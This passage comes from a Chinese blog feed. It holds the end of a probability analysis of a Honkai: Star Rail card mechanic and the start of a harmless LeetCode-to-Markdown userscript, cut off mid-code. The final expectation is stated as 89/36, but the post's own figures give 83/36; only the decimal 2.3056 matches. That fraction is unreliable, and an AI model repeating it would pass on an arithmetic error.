class=\"arithmatex\"\u003e\\[\nEX=(d_1-d_0) + S(\\dfrac{1}{9})\n\\]\u003c/div\u003e\n\u003cp\u003e由\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nS(q) = \\left(\\sum_{n=2}^{\\infty} \\left( \\dfrac{1}{4}k_1(4q)^n + k_2q^n \\right) \\right)'\n\\]\u003c/div\u003e\n\u003cp\u003e得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nS(q)=\\frac{8k_1q(1-2q)}{(1-4q)^2} + \\frac{k_2q(2-q)}{(1-q)^2}\n\\]\u003c/div\u003e\n\u003cp\u003e进而解出\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nEX = \\begin{bmatrix}\n\\dfrac{11}{4} \u0026amp; \\dfrac{99}{40} \u0026amp; \\dfrac{9}{5} \u0026amp; 0\n\\end{bmatrix} \\begin{bmatrix}\na_0\\\\\nb_0\\\\\nc_0\\\\\nd_0\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003e牌型\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003e抽牌数期望\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAABC\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{11}{4}=2.75\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAABB\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{99}{40}=2.475\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAAAB\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{9}{5}=1.8\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAAAA\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"抽牌数综合期望\"\u003e抽牌数综合期望\u003ca class=\"headerlink\" href=\"#抽牌数综合期望\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e起始牌型的概率分布\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003e起始牌型\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABC\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAA\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(P\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{C_4^2 \\cdot 3 \\cdot 2}{3^4}=\\dfrac{4}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{C_4^2 \\cdot C_3^2}{3^4}=\\dfrac{2}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{C_4^3 \\cdot 3 \\cdot 2}{3^4}=\\dfrac{8}{27}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{3}{3^4}=\\dfrac{1}{27}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e取\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n(a_0, b_0, c_0, d_0)^T=(\\dfrac{4}{9}, \\dfrac{2}{9}, \\dfrac{8}{27}, \\dfrac{1}{27})^T\n\\]\u003c/div\u003e\n\u003cp\u003e算得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nEX = \\dfrac{89}{36} \\approx 2.3056\n\\]\u003c/div\u003e\n\u003ch2 id=\"牌型分布\"\u003e牌型分布\u003ca class=\"headerlink\" href=\"#牌型分布\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003e抽牌次数\\牌型\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABC\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAA\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e0\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 44.44\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(22.22\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(29.63\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(3.70\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e1\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(12.35\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 57.61\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(30.04\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e2\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(1.37\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(33.84\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 64.79\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e3\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.15\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(15.95\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 83.89\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e4\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.02\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(7.19\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 92.79\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e5\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(3.21\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 96.79\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e6\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(1.43\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 98.57\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e7\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.63\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 99.37\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://bbs.mihoyo.com/sr/wiki/content/497/detail?bbs_presentation_style=no_header\"\u003e青雀-崩坏:星穹铁道WIKI-开拓者笔记-米游社\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003e\u003ca href=\"https://www.miyoushe.com/sr/article/39578076\"\u003e短生种都能看懂的青雀摸牌概率【科学琼玉论】-崩坏:星穹铁道社区-米游社\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:2\" title=\"Jump back to footnote 2 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/exp-val-to-enter-qingque-hidden-hand/"},{"title":"LeetCode 题目描述转 Markdown","time":"2024-03-21T15:04:02Z","content":"\u003ch1 id=\"LeetCode-题目描述转-Markdown\"\u003eLeetCode 题目描述转 Markdown\u003ca class=\"headerlink\" href=\"#LeetCode-题目描述转-Markdown\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e油猴脚本。代码改自 \u003ca href=\"https://github.com/tonngw/leetcode-helper\"\u003ehttps://github.com/tonngw/leetcode-helper\u003c/a\u003e,适配了最新的 UI,并且删掉了没用的功能,主打一个能用就行。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// ==UserScript==\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @name leetcode-helper\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @namespace https://github.com/stalomeow\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @version 1.0.0\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @description 复制 LeetCode 题目描述\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @author stalomeow\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @run-at document-end\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @match https://leetcode.cn/problems/*\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @require https://unpkg.com/turndown/dist/turndown.js\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @grant GM_registerMenuCommand\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @grant GM_setClipboard\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// @license MIT\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// ==/UserScript==\u003c/span\u003e\n\n\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;use strict\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 初始化 html to markdown 转换工具\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"ow\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eTurndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eaddTurndownServiceRules\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 注入菜单\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eGM_registerMenuCommand\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;复制 LeetCode 题目为 Markdown,并存入剪切板\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopy\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 添加复制按钮\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecreateElement\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;button\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;copyBtn\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003einnerHTML\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;复制\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003estyle\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ealignSelf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;center\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003etitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;复制题目为 Markdown 格式\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eonload\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003esetTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetElementsByClassName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;text-title-large font-semibold text-text-primary dark:text-text-primary\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eparentNode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eappendChild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026quot;I was invoked...\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1500\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 为复制按钮绑定点击功能\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopyBtn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eonclick\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epreventDefault\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopy\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 题目复制功能实现\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ecopy\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtentDom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;.elfjS\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003eouterHTML\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003econtentMd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ehandleHtml\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtentDom\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eGM_setClipboard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtentMd\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ealert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;复制成功\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eaddTurndownServiceRules\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddRule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;strikethrough\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;pre\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ereplacement\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan 